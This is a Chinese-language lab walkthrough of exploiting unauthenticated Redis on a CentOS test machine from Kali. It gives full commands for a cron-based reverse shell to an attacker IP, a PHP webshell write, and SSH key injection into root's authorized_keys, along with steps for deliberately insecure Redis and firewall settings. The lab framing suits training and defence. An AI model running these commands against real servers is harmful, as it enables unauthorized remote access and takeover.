Redis 未授权访问 getshll
Redis 未授权访问
靶机:centos 6.5
攻击机:kali 2020
安装 Redis
下载安装包进行安装
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
修改配置文件,使可以远程访问
vim redis.conf
bind 127.0.0.1前面加上#号 protected-mode设为no 启动redis-server
./src/redis-server redis-conf
将protected-mode 修改为 no,默认为yes 开启保护模式
将bind 127.0.0.1注释掉 或改为0.0.0.0 允许外部访问
默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后可以使用 Redis 权限进行写文件或修改计划任务等操作。
kali 安装 redis-cli
下载 redis-cli
wget http://download.redis.io/redis-stable.tar.gz
解压缩
tar -zxvf redis-stable.tar.gz
进入目录安装
cd redis-stable/
make
sudo cp src/redis-cli /usr/bin/
常规使用指令
redis-cli -h 目标主机IP地址 -p 端口号
Redis 常见 getshell 方法
- 反弹 shell
garden@guess:~/Desktop/redis-stable$ redis-cli -h 192.168.216.129
192.168.216.129:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.216.128/1998 0>&1\n"
OK
192.168.216.129:6379> CONFIG SET dir /var/spool/cron/
OK
192.168.216.129:6379> config set dbfilename root
OK
192.168.216.129:6379> save
OK
接着攻击机执行,等一下就会反弹 shell 回来
nc -lvvp 1998
- 写入 webshell
192.168.216.129:6379> CONFIG SET dir /var/www/html
OK
192.168.216.129:6379> config set dbfilename shell.php
OK
192.168.216.129:6379> set x "\r\n\r\n<?php phpinfo(); ?>\r\n\r\n"
OK
192.168.216.129:6379> save
OK
\r\n代表换行,redis写入的文件会自带一些版本信息,所以要换行,否则可能运行失败
- 写入 SSH 密钥
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
攻击机生成 ssh 公钥和私钥,并且格式化写入 redis
ssh-keygen -t rsa
(echo -e "\r\n\r\n;" cat id_rsa.pub; echo -e "\r\n\r\n") > 1.txt
cat 1.txt | redis-cli -h 192.168.216.129 -x set x
连接 redis 服务:redis-cli -h 192.168.216.129
192.168.216.129:6379> CONFIG GET dir
1) "dir"
2) "/redis-3.2.0"
192.168.216.129:6379> CONFIG set dir /root/.ssh
OK
192.168.216.129:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"
192.168.216.129:6379> CONFIG set dbfilename authorized_keys
OK
192.168.216.129:6379> save
OK
在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.216.129
ps:
- 安装 Redis 时可能会报错:
/bin/sh: cc: command not found
解决方案
sudo yum -y install gcc gcc-c++ libstdc++-devel
make MALLOC=libc
或者
make distclean
make
-
kali 无法扫描到靶机开放端口
用 ping 指令或者 nmap 等端口探测无法探测到开放的 6379 端口,可能是 centos 本身自带的iptable 进行了拦截,运行如下指令关闭 iptable
sudo iptables -F
生产环境不要这样设置 -
报错 Fatal error, can't open config file 'restart'
重启 Redis 的时候报错
ps -ef | grep -i redis
kill -9 进程号
再重新启动一下就好了
./src/redis-server redis-conf